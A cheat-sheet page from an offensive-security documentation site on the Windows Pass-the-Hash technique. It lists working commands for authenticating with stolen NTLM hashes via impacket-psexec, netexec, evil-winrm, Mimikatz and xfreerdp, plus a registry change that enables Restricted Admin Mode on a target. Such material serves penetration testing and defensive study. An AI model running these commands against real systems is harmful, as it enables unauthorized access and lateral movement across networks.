> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# Pass-the-Hash (PtH)

Pass-the-Hash is a credential theft technique targeting Windows systems: an attacker who obtains a user's NTLM password hash authenticates as that user directly with the hash, without ever cracking it back to plaintext.

* It typically starts with access to a compromised host where the target user's hash is stored, LSASS memory or the SAM database, see [Windows Credentials Attacks](https://0-x.dev/windows-credentials-attacks.md) for the extraction side.
* The hash is then passed to Windows' own NTLM authentication, no password needed, to any service that accepts NTLM: SMB, WinRM, RDP.
* This lets an attacker move laterally, escalate privileges, and reuse that access across the domain, all without the hash ever being cracked.

> [!NOTE]
>
> PtH works because NTLM authentication only ever needs the hash, not the plaintext. It does **not** work against services that require a Kerberos ticket instead, that's [Pass-the-Ticket](https://0-x.dev/lateral-movement/pass-the-ticket.md)

***

## Using the Hash

```bash theme={null}
impacket-psexec administrator@10.129.201.126 -hashes :30B3783CE2ABF1AF70F77D0660CF3453   # SMB
```

```bash theme={null}
netexec smb 172.16.1.0/24 -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453   # SMB, across a whole subnet at once
```

```bash theme={null}
evil-winrm -i 10.129.201.126 -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453   # WinRM
```

### Mimikatz (On-Host)

Opens a new process (here, a PowerShell session) under the target user's identity by patching the hash directly into the current LSASS session, rather than connecting out over the network.

```text theme={null}
sekurlsa::pth /user:<user> /domain:<domain> /ntlm:<hash> /run:powershell.exe
```

### RDP

RDP normally requires a plaintext password, Restricted Admin Mode is what allows PtH to work against it instead.

```bash theme={null}
xfreerdp /v:10.129.201.126 /u:julio /pth:64F12CDDAA88057E06A81B54E73B949B
```

> [!TIP]
>
> If the RDP session fails, Restricted Admin Mode may be disabled on the target. Enable it (needs local admin / a way to write to the registry first):
>
> ```cmd theme={null}
> reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f
> ```

***

## Quick Reference Tools

> **[Windows Credentials Attacks](https://0-x.dev/windows-credentials-attacks.md)**
>
> Where the NTLM hash used here usually comes from (LSASS, SAM).

> **[Pass-the-Ticket](https://0-x.dev/lateral-movement/pass-the-ticket.md)**
>
> The Kerberos-ticket equivalent, for services that won't accept NTLM.

> **[Invoke-TheHash](https://github.com/Kevin-Robertson/Invoke-TheHash)**
>
> PowerShell PtH implementation for WMI/SMB without needing Mimikatz on disk.


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.